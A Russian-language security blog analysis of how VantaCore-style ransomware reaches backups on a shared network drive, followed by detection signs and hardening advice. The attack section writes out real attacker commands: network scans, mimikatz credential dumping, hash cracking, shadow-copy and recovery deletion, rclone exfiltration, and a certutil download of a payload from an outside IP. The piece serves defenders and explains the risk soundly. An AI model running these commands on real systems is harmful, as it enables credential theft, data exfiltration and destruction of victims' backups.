CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Резервные копии на соседнем диске: как шифровальщик VantaCore добирается и до архивов

Разбираем механику атаки, из-за которой «резервная копия каждую ночь» не спасла бы от простоя на миллионы: от разведки в сети до уничтожения архивов — с конкретными командами и признаками в логах.

Разбор CIOlogia

Короткая версия истории уже разошлась: пришёл на аудит в производственную компанию, нашёл ту самую дыру, из-за которой в тот момент по стране прокатывалась волна атак шифровальщика VantaCore — резервные копии лежали на сетевом диске, доступном с обычных рабочих станций. Здесь — что именно происходит технически, когда шифровальщик добирается до такой инфраструктуры, и почему «копии есть» и «данные защищены» — это два разных утверждения.

С чего начинается атака

VantaCore, как и большинство современных операторов шифровальщиков-как-услуги (RaaS), редко ломает периметр «в лоб». Типичные точки входа для компаний такого профиля:

  • фишинговое письмо с макросом или LNK-файлом, замаскированным под накладную или счёт;
  • внешний RDP (порт 3389) с перебором паролей или уже слитыми учётными данными;
  • уязвимый VPN-шлюз или забытый наружу сервис с непропатченной CVE.

Проверка периметра занимает у атакующего минуты:

nmap -sS -p3389,445,22,443,1723 --open -T4 203.0.113.0/24
nmap -p445 --script smb-vuln-ms17-010,smb-os-discovery 203.0.113.15

Если на выходе видно что-то вроде Windows Server 2012 R2 без актуальных патчей и открытый SMB — это уже кандидат на первичный доступ через EternalBlue (CVE-2017-0144) или через подбор пароля локального администратора.

Разведка внутри сети

Получив плацдарм (одну зараженную рабочую станцию), атакующий или его инструмент автоматической разведки первым делом ищет сетевые шары и учётные данные. Именно на этом этапе становится критичной ошибка «бэкап на том же диске, что и рабочие файлы» — потому что найти его так же просто, как найти папку с накладными.

crackmapexec smb 10.10.0.0/24 -u guest -p '' --shares

SMB   10.10.0.5   445   FILESRV   [+] WORKGROUP\guest:
SMB   10.10.0.5   445   FILESRV   [*] Enumerated shares
SMB   10.10.0.5   445   FILESRV   Share       Permissions
SMB   10.10.0.5   445   FILESRV   -----       -----------
SMB   10.10.0.5   445   FILESRV   BACKUP_1C   READ,WRITE
SMB   10.10.0.5   445   FILESRV   COMMON      READ,WRITE

Права READ,WRITE на шаре BACKUP_1C, видимой с гостевой учётки или с любой доменной учётки — это буквально ключ от сейфа на гвоздике рядом с сейфом. Дальше — просто:

smbclient //10.10.0.5/BACKUP_1C -N
smb: \> ls
  1c_base_20240614.dt      1523000000  Thu Jun 13 03:00:00 2024
  1c_base_20240613.dt      1521000000  Wed Jun 12 03:00:00 2024
  file_server_full.zip     8452000000  Thu Jun 13 03:15:00 2024

Для повышения привилегий и захвата доменных учётных данных стандартный набор — дамп процесса LSASS и последующий разбор хэшей:

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 892511
Session           : Interactive
User Name         : a.ivanov
Domain            : CORP
NTLM              : 8846f7eaee8fb117ad06bd6b30b7...

hashcat -m 1000 -a 0 ntlm.txt rockyou.txt --force
Recovered........: 3/12 (25.00%)

С учёткой администратора домена в кармане атакующий уже видит все сетевые диски, все NAS, все ветки резервного копирования — потому что в 8 случаях из 10 бэкап-инфраструктура не имеет отдельной модели доверия, а просто «унаследована» от рабочей сети.

Что и почему сработало бы дальше

Дальнейший сценарий у большинства современных шифровальщиков, включая семейства класса VantaCore, стандартизирован до автоматизма:

  1. Уничтожение точек восстановления на самих хостах — чтобы жертва не могла откатиться штатными средствами Windows:
    vssadmin delete shadows /all /quiet
    wbadmin delete catalog -quiet
    bcdedit /set {default} recoveryenabled No
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2. Массовое шифрование доступных сетевых шар, включая ту самую BACKUP_1C — вирусу неважно, что это «резервная копия», для него это просто ещё один смонтированный диск с файлами .dt, .zip, .bak;
  3. Эксфильтрация данных до шифрования — современные группировки почти всегда сначала выгружают базу и документы себе (двойное вымогательство), часто через легитимные утилиты, чтобы не triggerить антивирус:
    rclone copy \\FILESRV\COMMON remote:exfil --transfers=8
    certutil -urlcache -split -f http://185.220.101.x/payload.exe c:\windows\temp\upd.exe
  4. Требование выкупа с угрозой публикации данных — суммы для компаний среднего размера в подобных кампаниях обычно стартуют от 3-5 млн рублей и растут при попытке торговаться или тянуть время.

В логах Windows такая атака оставляет вполне читаемый след, если есть кому его смотреть: массовые события Event ID 4624 (успешный вход) с одной учётки на десятки хостов подряд, Event ID 4648 (вход с явным указанием учётных данных — признак lateral movement), Event ID 5140 (доступ к сетевой шаре) с аномальным объёмом обращений ночью, а также сам факт вызова vssadmin.exe и wbadmin.exe из-под нестандартного родительского процесса.

Резервная копия, до которой может дотянуться вирус — это не резервная копия, а иллюзия безопасности

Как закрыть эту дыру технически

Изоляция бэкапа — это не «ещё один диск», а отдельный контур с другой моделью доверия. На практике это выглядит так:

  • Правило 3-2-1-1-0: минимум 3 копии данных, на 2 разных носителях, 1 копия за пределами локальной сети, 1 копия неизменяемая (immutable), 0 ошибок при проверке восстановления;
  • Отдельная учётная запись для выгрузки, без прав на удаление и модификацию уже загруженных версий — только append/write-new. Для S3-совместимого хранилища это Object Lock в режиме Compliance:
    aws s3api put-object-lock-configuration \
      --bucket backup-1c-prod \
      --object-lock-configuration '{"ObjectLockEnabled":"Enabled","Rule":{"DefaultRetention":{"Mode":"COMPLIANCE","Days":14}}}'
  • Версионирование на хранилище — даже если процесс шифрования каким-то образом получит доступ на запись, старые версии файла останутся физически недоступны для перезаписи;
  • Сегментация сети — бэкап-сервер и хранилище не должны быть видны из VLAN рабочих станций напрямую; доступ только по расписанию, только с одного хоста-агента, через выделенный firewall-правило;
  • Отключение SMBv1 и ограничение анонимного доступа к шарам:
    Set-SmbServerConfiguration -EnableSMB1Protocol $false
    Set-SmbShare -Name BACKUP_1C -SecurityDescriptor "D:(D;;GA;;;WD)"
  • Мониторинг самого факта резервного копирования, а не только его наличия в расписании — алерт, если задание не выполнилось, размер бэкапа аномально изменился (резкий рост объёма — частый признак шифрования копии перед выгрузкой) или к бэкап-хранилищу обратилась учётка, которая обычно этого не делает;
  • Регулярное тестовое восстановление — раз в квартал реально поднять базу из резервной копии на изолированном стенде и убедиться, что это не битый архив.

Что в итоге

Ни один из этих пунктов не требует нового оборудования — только перенастройку того, что уже куплено и оплачено. В разобранном кейсе весь комплекс мер занял неделю и обошёлся в разы дешевле одного дня простоя производства. Дыра, через которую шифровальщик добирается и до рабочих файлов, и до архивов одним движением — это архитектурная ошибка, а не вопрос бюджета на безопасность.